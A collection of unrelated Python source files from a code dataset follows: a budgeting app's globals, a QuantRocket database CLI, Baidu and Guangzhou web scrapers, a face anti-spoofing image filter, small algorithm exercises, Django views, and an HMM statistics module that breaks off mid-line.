+{"seq_id":"427512095","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n## File globalVars.py\n## This file is part of pyArq-Presupuestos.\n##\n## Copyright (C) 2010-2014 Miguel Ángel Bárcena Rodríguez\n##                         <miguelangel@obraencurso.es>\n##\n## pyArq-Presupuestos is free software: you can redistribute it and/or modify\n## it under the terms of the GNU General Public License as published by\n## the Free Software Foundation, either version 3 of the License, or\n## (at your option) any later version.\n##\n## pyArq-Presupuestos is distributed in the hope that it will be useful,\n## but WITHOUT ANY WARRANTY; without even the implied warranty of\n## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n## GNU General Public License for more details.\n##\n## You should have received a copy of the GNU General Public License\n## along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\n# module for global variables\nimport os\nimport sys\n\nversion = \"pyArq Presupuestos v0.0.0\"\nchangeset = 22\nbaseversion = 0\n\n# path: Paths where find the program files needed\npath = {\n    \"HOME\" : \"\",\n    \"APPDATA\" : \"\",\n    #\"DURUS-DATABASE\": \"/pyArq-Presupuestos/durus/\",\n    \"BUDGET\": \"/pyArq-Presupuestos/budget/\",\n    \"ICON\" : \"/images/pyArq-Presupuestos.png\",\n    \"CHAPTER-ICON\" : \"/images/chapter.png\",\n    \"UNIT-ICON\" : \"/images/unit.png\",\n    \"MATERIAL-ICON\" : \"/images/material.png\",\n    \"MACHINERY-ICON\" : \"/images/machinery.png\",\n    \"LABOURFORCE-ICON\": \"/images/labourforce.png\",\n    \"MENU-ICON\": \"/images/menu.png\",\n    \"CONNECTED-ICON\": \"/images/connected.png\",\n    \"DISCONNECTED-ICON\": \"/images/disconnected.png\",\n    \"CLOSE-ICON\": \"/images/close.png\",\n    \"DESCRIPTION-ICON\": \"/images/description.png\",\n    \"SHEET-ICON\": \"/images/sheet.png\",\n    \"DECOMPOSITION-ICON\" : \"/images/decomposition.png\",\n    \"MEASURE-ICON\" : \"/images/measure.png\",\n    \"ACUMULATEDLINE-ICON\" : \"/images/acumulatedline.png\",\n    \"PARCIALLINE-ICON\" : \"/images/parcialline.png\",\n    \"NORMALLINE-ICON\" : \"/images/normalline.png\",\n    \"CALCULATEDLINE-ICON\" : \"/images/calculatedline.png\",\n    \"ARROW-ICON\": \"/images/arrow.png\",\n    \"IMAGE-ICON\": \"/images/image.png\",\n    \"DXF-ICON\": \"/images/dxf.png\",\n    \"THROBBER-ICON\": \"/images/throbber.png\",\n    \"THROBBER-GIF\": \"/images/throbber.gif\",\n    \"BUDGET-ICON\": \"/images/budget.png\",\n    \"PYARQ-ICON\": \"/images/pyArq.png\",\n    }\n\ncolor = {\n    \"ACTIVE\" : \"#CDD7FF\",           # blue\n    \"INDEX-EVEN\" : \"#C4C4C4\",       # dark grey\n    \"INDEX-UNEVEN\" : \"#DDDDDD\",     # grey\n    \"EVEN\" : \"#E6E6E6\",             # dark white\n    \"UNEVEN\": \"#FFFFFF\",            # white\n    \"CHAPTER-EVEN\": \"#D8E6E6\",      # dark cian\n    \"CHAPTER-UNEVEN\": \"#F0FFFF\",    # cian\n    \"TEXT\": \"#000000\",              # black\n    \"CALCULATED-TEXT\": \"#FF00FF\",   # \n    \"SUBTOTAL\": \"#FAC8C8\",\n    \"SUBTOTAL-PARCIAL\": \"#ADD8E6\",\n    }\n\ndesktop = {\n    \"autodetect\" : True,\n    \"desktop\" : \"\",\n    \"browser\" : \"firefox\",\n    \"mailapp\" : \"evolution\",\n    \"imageapp\" : \"gthumb\",\n    \"cadapp\" : \"qcad\",\n    }\n\ndef getAppPath(key):\n    return path[\"APPDATA\"] + path[key]\n\ndef getHomePath(key):\n    return path[\"HOME\"] + path[key]\n\nif os.name == 'posix':\n    path[\"HOME\"] = os.environ.get('HOME')\nelif sys.platform == 'win32':\n    path[\"HOME\"] = os.environ.get('HOMEPATH')\n    # TODO: Mac Os, \n    # TODO: Test in diferents os\n\n#-#\npath[\"BUDGET\"] = \"/pyArq-Presupuestos/\"\n#-#\n","sub_path":"gbudgets/globalVars.py","file_name":"globalVars.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"555098243","text":"# Copyright 2017-2023 QuantRocket - All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom quantrocket._cli.utils.parse import HelpFormatter\n\ndef add_subparser(subparsers):\n    _parser = subparsers.add_parser(\"db\", description=\"QuantRocket database service CLI\", help=\"Backup, restore, and manage databases\")\n    _subparsers = _parser.add_subparsers(title=\"subcommands\", dest=\"subcommand\")\n    _subparsers.required = True\n\n    examples = \"\"\"\nList databases.\n\nNotes\n-----\nUsage Guide:\n\n* Database Management: https://qrok.it/dl/qr/db\n\nExamples\n--------\n\nList all databases:\n\n.. code-block:: bash\n\n    quantrocket db list\n\nList all history databases and include details such as file size:\n\n.. code-block:: bash\n\n    quantrocket db list --services history --detail\n\nList details for a sharded history database called usa-stk-15min\nand list each shard individually:\n\n.. code-block:: bash\n\n    quantrocket db list --services history --codes usa-stk-15min --detail --expand\n    \"\"\"\n    parser = _subparsers.add_parser(\n        \"list\",\n        help=\"list databases\",\n        epilog=examples,\n        formatter_class=HelpFormatter)\n    parser.add_argument(\n        \"-s\", \"--services\",\n        nargs=\"*\",\n        metavar=\"SERVICE\",\n        help=\"limit to these services\")\n    parser.add_argument(\n        \"-c\", \"--codes\",\n        nargs=\"*\",\n        metavar=\"DATABASE_CODE\",\n        help=\"limit to these codes\")\n    parser.add_argument(\n        \"-d\", \"--detail\",\n        action=\"store_true\",\n        help=\"return database statistics (default is to return a \"\n        \"flat list of database names)\")\n    parser.add_argument(\n        \"-e\", \"--expand\",\n        action=\"store_true\",\n        help=\"expand sharded databases to include individual shards \"\n        \"(default is to list sharded databases as a single database)\")\n    parser.set_defaults(func=\"quantrocket.db._cli_list_databases\")\n\n    examples = \"\"\"\nSet or show Amazon S3 configuration for pushing and pulling databases to and\nfrom S3.\n\nCredentials are encrypted at rest and never leave your deployment.\n\nNotes\n-----\nUsage Guide:\n\n* Amazon S3: http://qrok.it/dl/qr/dbs3\n\nExamples\n--------\n\nConfigure S3 (will prompt for secret access key):\n\n.. code-block:: bash\n\n    quantrocket db s3config --access-key-id XXXXXXXX --bucket my-bucket\n\nPreserve existing credentials but point to a new bucket:\n\n.. code-block:: bash\n\n    quantrocket db s3config --bucket my-other-bucket\n\nShow current configuration:\n\n.. code-block:: bash\n\n    quantrocket db s3config\n    \"\"\"\n    parser = _subparsers.add_parser(\n        \"s3config\",\n        help=\"set or show Amazon S3 configuration for pushing and \"\n        \"pulling databases to and from S3\",\n        epilog=examples,\n        formatter_class=HelpFormatter)\n    parser.add_argument(\n        \"-a\", \"--access-key-id\",\n        help=\"AWS access key ID\")\n    parser.add_argument(\n        \"-s\", \"--secret-access-key\",\n        help=\"AWS secret access key (if omitted and access-key-id is provided, \"\n        \"will be prompted for secret-access-key)\")\n    parser.add_argument(\n        \"-b\", \"--bucket\",\n        help=\"the S3 bucket name to push to/pull from\")\n    parser.add_argument(\n        \"-r\", \"--region\",\n        help=\"the AWS region in which to create the bucket (default us-east-1). \"\n        \"Ignored if the bucket already exists.\")\n    parser.set_defaults(func=\"quantrocket.db._cli_get_or_set_s3_config\")\n\n    examples = \"\"\"\nPush database(s) to Amazon S3.\n\nNotes\n-----\nUsage Guide:\n\n* Amazon S3: http://qrok.it/dl/qr/dbs3\n\nExamples\n--------\n\nPush all databases:\n\n.. code-block:: bash\n\n    quantrocket db s3push\n\nPush all databases for the history service:\n\n.. code-block:: bash\n\n    quantrocket db s3push --services history\n\nPush a database called quantrocket.history.nyse.sqlite:\n\n.. code-block:: bash\n\n    quantrocket db s3push --services history --codes nyse\n    \"\"\"\n    parser = _subparsers.add_parser(\n        \"s3push\",\n        help=\"push database(s) to Amazon S3\",\n        epilog=examples,\n        formatter_class=HelpFormatter)\n    parser.add_argument(\n        \"-s\", \"--services\",\n        nargs=\"*\",\n        metavar=\"SERVICE\",\n        help=\"limit to these services\")\n    parser.add_argument(\n        \"-c\", \"--codes\",\n        nargs=\"*\",\n        metavar=\"DATABASE_CODE\",\n        help=\"limit to these codes\")\n    parser.set_defaults(func=\"quantrocket.db._cli_s3_push_databases\")\n\n    examples = \"\"\"\nPull database(s) from Amazon S3 to the db service.\n\nNotes\n-----\nUsage Guide:\n\n* Amazon S3: http://qrok.it/dl/qr/dbs3\n\nExamples\n--------\n\nPull a database stored on S3 as quantrocket.history.nyse.sqlite.gz:\n\n.. code-block:: bash\n\n    quantrocket db s3pull --services history --codes nyse\n    \"\"\"\n    parser = _subparsers.add_parser(\n        \"s3pull\",\n        help=\"pull database(s) from Amazon S3\",\n        epilog=examples,\n        formatter_class=HelpFormatter)\n    parser.add_argument(\n        \"-s\", \"--services\",\n        nargs=\"*\",\n        metavar=\"SERVICE\",\n        help=\"limit to these services\")\n    parser.add_argument(\n        \"-c\", \"--codes\",\n        nargs=\"*\",\n        metavar=\"DATABASE_CODE\",\n        help=\"limit to these codes\")\n    parser.add_argument(\n        \"-f\", \"--force\",\n        action=\"store_true\",\n        default=False,\n        help=\"overwrite existing database if one exists (default is to \"\n        \"fail if one exists)\")\n    parser.set_defaults(func=\"quantrocket.db._cli_s3_pull_databases\")\n\n    examples = \"\"\"\nOptimize databases to improve performance.\n\nThis runs the 'VACUUM' command, which defragments the database and\nreclaims disk space.\n\nNotes\n-----\nUsage Guide:\n\n* Database Management: https://qrok.it/dl/qr/db\n\nExamples\n--------\n\nOptimize all blotter databases:\n\n.. code-block:: bash\n\n    quantrocket db optimize --services blotter\n    \"\"\"\n    parser = _subparsers.add_parser(\n        \"optimize\",\n        help=\"optimize databases to improve performance\",\n        epilog=examples,\n        formatter_class=HelpFormatter)\n    parser.add_argument(\n        \"-s\", \"--services\",\n        nargs=\"*\",\n        metavar=\"SERVICE\",\n        help=\"limit to these services\")\n    parser.add_argument(\n        \"-c\", \"--codes\",\n        nargs=\"*\",\n        metavar=\"DATABASE_CODE\",\n        help=\"limit to these codes\")\n    parser.set_defaults(func=\"quantrocket.db._cli_optimize_databases\")\n","sub_path":"quantrocket/_cli/subcommands/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":6800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"315857364","text":"# coding:utf-8\n\nimport scrapy\nimport re\nfrom scrapy import cmdline\nfrom public_opinions_crawler.items import *\nimport urllib.parse\nfrom datetime import datetime\nimport time\nimport requests\nimport base64\n\n\nclass BaiduSearch(scrapy.Spider):\n    name = 'baidu_search_app'\n    allowed_domains = ['m.baidu.com']\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0\"\n    }\n\n    def start_requests(self):\n        base_url = 'https://m.baidu.com/s'\n        for k in self.settings.get('KEYWORDS'):\n            for p in range(1, self.settings.get('MAX_PAGE') + 1):\n                url = self.get_full_url(base_url, k, p)\n                yield scrapy.Request(url=url, callback=self.parse,\n                                     meta={'page': p, 'ur': url, 'kw': k, 'spider_runtime': datetime.now()},\n                                     )\n\n    @staticmethod\n    def get_full_url(url, kw, page):\n        \"\"\" get the full url \"\"\"\n        # keyword = urllib.parse.urlencode({'wd': kw})\n        full_url = '{url}?word={keyword}&pn={page}'.format(url=url, keyword=kw, page=page * 10 - 10)\n        return full_url\n\n    def parse(self, response):\n        loops = response.xpath('//div[@class=\"c-result-content\"]')\n        print(loops)\n        for item in loops:\n            i = TestItem()\n            # get title\n            title = item.xpath('.//h3[@class=\"c-title\"]//text()').extract()\n            title = ''.join(title).replace('/n', '').lstrip().rstrip()\n            # get link\n            href = item.xpath('.//a[@class=\"c-blocka\"]/@href').extract_first()\n\n            pub_site = item.xpath('.//a[@class=\"c-color-gray normal-footer-inline-block c-blocka\"]//text()\\\n            | .//a[@class=\"link c-blocka\"]//span[@class=\"c-color-gray\"]//text()').extract_first()\n\n            pub_date = item.xpath('.//div[@class=\"c-showurl c-line-clamp1\"]/span//text() \\\n            | .//div[@class=\"c-span\"]/span[@class=\"c-color-gray\"]//text()').extract_first()\n\n            intro = item.xpath('.//div[@class=\"c-abstract c-row\"]//text()').extract()\n            intro = ''.join(intro).strip().replace('\\n', '').replace('\\t', '').lstrip().rstrip()\n\n            img_url_list = item.xpath('.//div[@class=\"c-img-wrapper\"]//div//img/@data-imagedelaysrc').extract()\n\n            # 图片保存成base64格式\n            image_base_data = []\n            if len(img_url_list) > 0:\n                for img_url in img_url_list:\n                    # 更改 ua 为 手机浏览器 获取图片内容\n                    r = requests.get(img_url, headers=self.headers, stream=True)\n                    if r.status_code == 200:\n                        image_data = r.content\n                        base64_data = base64.b64encode(image_data)\n                        image_base_data.append(str(base64_data))\n\n            i['title'] = title\n            i['desc'] = intro\n            i['pub_site'] = pub_site\n            i['pub_date'] = pub_date\n            i['link'] = href\n            i['keyword'] = response.meta['kw']\n            i['page'] = response.meta['page']\n            i['init_url'] = response.meta['ur']\n            i['site'] = '百度搜索'\n            i['site_type'] = 'APP'\n            i['spider_runtime'] = response.meta['spider_runtime']\n            i['timestamp'] = int(round(time.time() * 1000))\n            i['image_url'] = img_url_list\n            i['image_base_data'] = image_base_data\n            yield i\n\n\nif __name__ == '__main__':\n    cmdline.execute('scrapy crawl baidu_search_app'.split())\n","sub_path":"public_opinions_crawler/public_opinions_crawler/spiders/baidu_search_app.py","file_name":"baidu_search_app.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"190396050","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport os\nimport pathlib\n# Load Keras dependencies:\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing import image\ntf.keras.backend.set_image_data_format('channels_first')\n\nimport glob\n\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras.preprocessing.image import load_img, img_to_array\n\n#os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n\ndef CheckDirectory(path):\n    if not os.path.exists(path):\n        pathlib.Path(path).mkdir()\n\ndef read_preprocess_image(imgPath, img_width, img_height):\n    img = load_img(imgPath, target_size=(img_width, img_height))\n    imgArray = img_to_array(img)\n    imgArray = imgArray.reshape(1, 3, img_width, img_height)\n    imgArray = imgArray / float(255)\n    return imgArray\n\ndef image_reshape(image):\n    shape = np.shape(image)\n    if len(shape) == 4:\n        return image[0]\n    elif len(shape) == 3:\n        return np.expand_dims(x, axis=0)\n\ndef moveaxis_change_channel_order(image):\n    shape = np.shape(image)\n    if len(shape) == 4:\n        if shape[1] == 3:\n            return np.moveaxis(image, 1, -1)\n        elif shape[-1] == 3:\n            return np.moveaxis(image, -1, 1)\n    elif len(shape) == 3:\n        if shape[0] == 3:\n            return np.moveaxis(image, 0, -1)\n        elif shape[-1] == 3:\n            return np.moveaxis(image, -1, 0)\n    return image\n\n#attack label: 0\n#real label: 1\n\ndef get_spoofying_image():\n    gpus = tf.config.experimental.list_physical_devices('GPU')\n    if gpus:\n        try:\n            tf.config.experimental.set_virtual_device_configuration(gpus[0], [tf.config.experimental.VirtualDeviceConfiguration(memory_limit=3072)])\n            logical_gpus = tf.config.experimental.list_logical_devices('GPU')\n            print(len(gpus), \"Physical GPUs, \", len(logical_gpus), \"Logical GPUs\")\n        except RuntimeError as e:\n            # Virtual devices must be set before GPUs have been initialized\n            print(e)\n    model_path = 'REPLAY-HalfFPS_val96.h5'\n    model = load_model(model_path)\n    img_width = 96\n    img_height = 96\n    read_image_path = 'real_choose_cropped'\n    output_root = 'anti-spoofing test real image'\n    CheckDirectory(output_root)\n    extension = '.png'\n    real_label = 1\n    attack_label = 0\n\n    for dname in os.listdir(read_image_path):\n        if os.path.isdir(os.path.join(read_image_path, dname)):\n            CheckDirectory(os.path.join(output_root, dname))\n            for img_name in os.listdir(os.path.join(read_image_path, dname)):\n                image = read_preprocess_image(os.path.join(read_image_path, dname, str(img_name)), img_width, img_height)\n                #print(\"pre \", model.predict(image))\n                #print(\"label \", model.predict(image) > 0.5)\n                label = (model.predict(image) > 0.5)[0][0].astype(\"int32\")\n                if label == real_label:\n                    plt.imsave(os.path.join(output_root, dname, str(img_name)), moveaxis_change_channel_order(image_reshape(image)))\n\nif __name__ == \"__main__\":\n    get_spoofying_image()\n","sub_path":"main research/code/Adversarial Attack/get_real_image.py","file_name":"get_real_image.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"606596042","text":"from time import sleep\n\n# floodfill\nimage_str = [\n    \"#########################\"\n    \"#    ###                #\"\n    \"#   #   #               #\"\n    \"#  #   ####             #\"\n    \"# #        #            #\"\n    \"# #       #             #\"\n    \"# ########   ####       #\"\n    \"#           #  #       #\"\n    \"#          #  #         #\"\n    \"#########################\"\n]\n\nimage = []\n\nfor i in image_str:\n    image.append(list(i))\n\n\ndef print_image():\n    for i in image:\n        print(\"\".join(i))\n\n\n# print_image()\n\n\n# floodfill(4, 6, \"*\")  # should fill surrounding shape with astricts\n\n# mark charc at row_i, col_i\n# flood_fill(up)\n# flood_fill(right)\n# flood_fill(down)\n# flood_fill(left)\n#\n# traverse until we find character that is not a space\ndef floodfill(matrix, row_i, col_i, charc):\n    if matrix[row_i][col_i] != ' ':\n        return  # return out\n\n    matrix[row_i][col_i] = charc\n    print_image()\n\n    sleep(0.5)\n\n    floodfill(matrix, row_i - 1, col_i, charc)  # up\n    floodfill(matrix, row_i + 1, col_i, charc)  # down\n    floodfill(matrix, row_i, col_i - 1, charc)  # right\n    floodfill(matrix, row_i, col_i + 1, charc)  # right\n\n\nfloodfill(image, 4, 6, \"*\")\n","sub_path":"floodfill.py","file_name":"floodfill.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"290346673","text":"## Longest common prefix\n\n# Example 1:\n# Input: strs = [\"flower\",\"flow\",\"flight\"]\n# Output: \"fl\"\n\n# Example 2:\n# Input: strs = [\"dog\",\"racecar\",\"car\"]\n# Output: \"\"\n# Explanation: There is no common prefix among the input strings.\n\nclass Solution:\n    def longestCommonPrefix(self, strs: List[str]) -> str:\n        strs.sort(key=len)\n        print(strs)\n        \n        N = len(strs)\n        Q = len(strs[0])\n        \n        if Q==0 or N==1:\n            return strs[0]\n\n        result = \"\"\n        i=0\n        while i<Q:\n            base = strs[0][i]\n            for j in range(1,N):\n                if strs[j][i] != base:\n                    return result\n            result+=base\n            i+=1\n        return result\n        \n#         result = []\n        \n#         i=0\n#         while all([strs[0][i]==x[i] for x in strs[1:]]):\n#             print(all([strs[0][i]==x[i] for x in strs[1:]]))\n#             result.append(strs[0][i])\n#             i+=1\n            \n#         return \"\".join(result)","sub_path":"Leetcode/Arrays/p14.py","file_name":"p14.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"459465010","text":"import re\nimport requests\nfrom backup.crawler_base import Crawler\nfrom html.parser import HTMLParser\n\nhtml_parser = HTMLParser()\n\n\nclass Guangzhou(Crawler):\n    def __init__(self):\n        self.url = 'http://www.gzcc.gov.cn/laho/ProjectSearch.aspx'\n        self.source_url = 'http://www.gzcc.gov.cn'\n\n    def start_crawler(self):\n        page = self.get_page()\n        print(page)\n        for i in range(1, page + 1):\n            url = 'http://www.gzcc.gov.cn/laho/ProjectSearch.aspx?page=' + str(i)\n            html = requests.get(url).content.decode()\n            for k in re.findall('<tr>.*?align=\"center\"><A target=\"_blank\" href=\"(.*?)\">', html, re.S | re.M):\n                comm_detail_url = self.source_url + html_parser.unescape(k).strip()\n                comm_detail_html = requests.get(comm_detail_url).content.decode()\n\n    def get_page(self):\n        res = requests.get(url=self.url)\n        # print(res.content.decode())\n        html = res.content.decode()\n        page = re.search('/共(.*?)页', html, re.M | re.S).group(1)\n        return int(page)\n","sub_path":"hilder_gv/crawler2/guangzhou_71.py","file_name":"guangzhou_71.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"368325638","text":"from django.views.generic.base import TemplateView\n\n\nclass AboutAuthorView(TemplateView):\n    template_name = \"about/about.html\"\n\n    def get_context_data(self, **kwargs):\n        about_info = (\n            \"Автор социальной сети Inhome\",\n            \"Инженер головного испытательного центра Роскосмос\",\n            \"Магистр МАИ\",\n            \"Студент Яндекс.Практикум\",\n        )\n        author_info = \"Владимир Логинов\"\n        context = super().get_context_data(**kwargs)\n        context[\"about_info\"] = about_info\n        context[\"author_info\"] = author_info\n        return context\n\n\nclass AboutTechView(TemplateView):\n    template_name = \"about/about.html\"\n\n    def get_context_data(self, **kwargs):\n        tech_info = (\n            \"django 2.2 - фреймворк\",\n            \"bootstrap - стили и оформление\",\n            \"VS Code - среда разработки\",\n            \"git - система контроля версий\",\n        )\n        context = super().get_context_data(**kwargs)\n        context[\"tech_info\"] = tech_info\n        return context\n","sub_path":"about/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"374866213","text":"import time\nimport unittest\n\nimport psycopg2\n\nfrom utils import DBConnection\n\n\nclass TestBackendReady(unittest.TestCase):\n\n    def setUp(self):\n        # wait until db ready\n        self.dbc = None\n        while not self.dbc:\n            try:\n                self.dbc = DBConnection()\n            except psycopg2.OperationalError:\n                time.sleep(1)\n\n    def test_table_exists(self):\n        self.assertTrue(\n            self.dbc.table_exists('osm_buildings'))\n        self.assertTrue(\n            self.dbc.table_exists('osm_roads'))\n\n    def tearDown(self):\n        self.dbc.conn.close()\n","sub_path":"fixtures/tests/backend/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"47066651","text":"\nimport datetime\nimport numpy as np\nimport pandas as pd\nimport hmm_changepoints_module\nfrom numba import jit\n\n##################################################\n#####          Statistics                #########\n##################################################\n\n#####       Every Transition - HMM           ##########\n#@jit(nopython=True)\ndef statistics_every_transition_HMM(exponential_or_poisson, time_index_direction, time_data, bin_width):\n    time = time_data[:, 0]\n    data = time_data[:, 1]\n\n    changepoint_index = time_index_direction[:, 1].astype(np.int64)\n\n    changepoint_time = np.zeros(len(changepoint_index), dtype=np.float64)\n    mean = np.zeros(len(changepoint_index), dtype=np.float64)\n    stdev = np.zeros(len(changepoint_index), dtype=np.float64)\n    var = np.zeros(len(changepoint_index), dtype=np.float64)\n    number_in_state = np.zeros(len(changepoint_index), dtype=np.float64)\n    duration_in_state = np.zeros(len(changepoint_index), dtype=np.float64)\n    duration_in_both_states = np.zeros(len(changepoint_index), dtype=np.float64)\n\n    # All transitions except the last two\n    for i in range(len(changepoint_index) - 2):\n        changepoint_time[i] = time[changepoint_index[i]]\n        number_in_state[i] = changepoint_index[i + 1] - changepoint_index[i]\n        duration_in_state[i] = time[changepoint_index[i + 1]] - time[changepoint_index[i]]\n        duration_in_both_states[i] = time[changepoint_index[i + 2]] - time[changepoint_index[i]]\n\n        if changepoint_index[i + 1] >= changepoint_index[i] + 1:\n            mean[i] = np.mean(data[changepoint_index[i]:changepoint_index[i + 1]])\n            stdev[i] = np.std(data[changepoint_index[i]:changepoint_index[i + 1]], ddof=1)\n            var[i] = np.var(data[changepoint_index[i]:changepoint_index[i + 1]], ddof=1)\n        elif changepoint_index[i + 1] == changepoint_index[i]:\n            mean[i] = np.mean(data[changepoint_index[i]])\n            stdev[i] = np.std(data[changepoint_index[i]], ddof=1)\n            var[i] = np.var(data[changepoint_index[i]], ddof=1)\n\n    # Second to last transition\n    changepoint_time[-2] = time[changepoint_index[-2]]\n    number_in_state[-2] = changepoint_index[-1] - changepoint_index[-2]\n    duration_in_state[-2] = time[changepoint_index[-1]] - time[changepoint_index[-2]]\n    duration_in_both_states[-2] = np.nan\n\n    if changepoint_index[-1] >= changepoint_index[-2] + 1:\n        mean[-2] = np.mean(data[changepoint_index[-2]:changepoint_index[-1]])\n        stdev[-2] = np.std(data[changepoint_index[-2]:changepoint_index[-1]], ddof=1)\n        var[-2] = np.var(data[changepoint_index[-2]:changepoint_index[-1]], ddof=1)\n    elif changepoint_index[-1] == changepoint_index[-2]:\n        mean[-2] = np.mean(data[changepoint_index[-2]])\n        stdev[-2] = np.std(data[changepoint_index[-2]], ddof=1)\n        var[-2] = np.var(data[changepoint_index[-2]], ddof=1)\n\n    # Last transition\n    changepoint_time[-1] = time[changepoint_index[-1]]\n    number_in_state[-1] = np.nan\n    duration_in_state[-1] = np.nan\n    duration_in_both_states[-1] = np.nan\n    mean[-1] = np.nan\n    stdev[-1] = np.nan\n    var[-1] = np.nan\n\n    if exponential_or_poisson == 0:\n        rate = 1 / mean\n    else:\n        rate = mean / bin_width\n\n    return changepoint_time, mean, stdev, var, number_in_state, duration_in_state, duration_in_both_states, rate\n\n#####        All Transitions             ##########\ndef statistics_all_transitions(changepoint_index, bin_width):\n    # Calculate Statistics\n    dwells = np.subtract(changepoint_index[1::2], changepoint_index[::2])\n    dwells.astype(np.float64)\n    dwells = dwells * bin_width\n    dwell_mean = np.mean(dwells)\n    dwell_median = np.median(dwells)\n    dwell_var = np.var(dwells, ddof=1)\n\n    bead_arrival_index = changepoint_index[::2]\n    bead_arrival_index.astype(np.float64)\n    bead_interarrival_times = np.ediff1d(bead_arrival_index) * bin_width\n    bead_interarrival_times_mean = np.mean(bead_interarrival_times)\n    bead_interarrival_index_coeff_var = np.std(bead_interarrival_times, ddof=1) / bead_interarrival_times_mean\n    bead_arrival_rate = 1 / bead_interarrival_times_mean\n\n    number_of_beads = len(changepoint_index[::2])\n\n    return dwell_mean, dwell_median, dwell_var, bead_arrival_rate, bead_interarrival_index_coeff_var, number_of_beads\n\n\n##################################################\n#####        Composite Bead              #########\n##################################################\ndef composite_bead(data, max_num_bins_bead, background_mean_counts, changepoint_index, num_iteration, num_for_bead_geometric):\n    print(\"Composite Bead\")\n    if changepoint_index.size > 0:\n        all_beads_plus_dwell = get_bead_traces_padwithrandom(data, max_num_bins_bead, background_mean_counts, changepoint_index)\n        composite_bead_array, num_beads_array = find_mean(all_beads_plus_dwell, max_num_bins_bead)\n        composite_bead_array = add_iter_geo(composite_bead_array, num_iteration, num_for_bead_geometric)\n    else:\n        all_beads_plus_dwell = np.zeros(max_num_bins_bead + 1)\n        composite_bead_array = np.zeros((max_num_bins_bead, 7))\n        composite_bead_array[:] = np.nan\n        composite_bead_array[:, 0] = np.arange(1, (max_num_bins_bead + 1))\n        composite_bead_array = add_iter_geo(composite_bead_array, num_iteration, num_for_bead_geometric)\n        num_beads_array = np.zeros(8)\n    all_beads_plus_dwell = None\n    all_beads_plus_dwell = []\n    return all_beads_plus_dwell, composite_bead_array, num_beads_array\n\ndef get_bead_traces_padwithrandom(data, max_num_bins_bead, background_mean_counts, changepoint_index):\n    # This module grabs the bead, centers the bead in the array and pads the rest out with\n    # numbers randomly generated from the poisson distribution with lambda = background_mean_counts\n\n    bead_arrival_index = changepoint_index[::2]\n    bead_depature_index = changepoint_index[1::2]\n\n    num_beads = len(bead_arrival_index)\n    all_beads = np.random.poisson(background_mean_counts, size=(len(bead_arrival_index), max_num_bins_bead))\n    bead_dwell_array = np.subtract(bead_depature_index, bead_arrival_index)\n    data.astype(np.float16)\n\n    for i in range(num_beads):\n        num_bins = bead_dwell_array[i]\n        if num_bins <= max_num_bins_bead:\n            bead = data[bead_arrival_index[i]:bead_depature_index[i]]\n            if (num_bins/2) != np.floor(num_bins/2):\n                rand = np.random.random_sample()\n                if rand < 0.5:\n                    start = int(np.floor((max_num_bins_bead - num_bins)/2))\n                    all_beads[i, start:(start + num_bins)] = bead\n                else:\n                    start = int(np.ceil((max_num_bins_bead - num_bins)/2))\n                    all_beads[i, start:(start + num_bins)] = bead\n            else:\n                start = int((max_num_bins_bead - num_bins)/2)\n                all_beads[i, start:(start + num_bins)] = bead\n\n    all_beads_plus_dwell = np.column_stack((all_beads, bead_dwell_array))\n\n    return all_beads_plus_dwell\n\ndef find_mean(all_beads_plus_dwell, max_num_bins_bead):\n    num_beads_array = np.zeros(8)\n    num_beads_array[0] = len(all_beads_plus_dwell)\n\n    # Filter out rows with length < 5 bins\n    all_beads_plus_dwell = all_beads_plus_dwell[all_beads_plus_dwell[:, -1] >= 5]\n    num_beads_array[1] = num_beads_array[0] - len(all_beads_plus_dwell)\n\n    #Filter out blank rows (those beads that exceeded max_num_bins_bead)\n    all_beads_plus_dwell = all_beads_plus_dwell[all_beads_plus_dwell[:, -1] <= max_num_bins_bead]\n    num_beads_array[2] = (num_beads_array[0] - num_beads_array[1]) - len(all_beads_plus_dwell)\n\n    # Find Composite Bead, All lengths from 1 to max_num_bins_bead\n    composite_bead_array = np.zeros((max_num_bins_bead, 7))\n    composite_bead_array[:, 0] = np.arange(1, (max_num_bins_bead + 1))\n    composite_bead_array[:, 1] = np.mean(all_beads_plus_dwell[:, 0:-1], axis = 0)\n    for i in range(5):\n        j = i + 2\n        temp = all_beads_plus_dwell[(all_beads_plus_dwell[:, -1] > (i 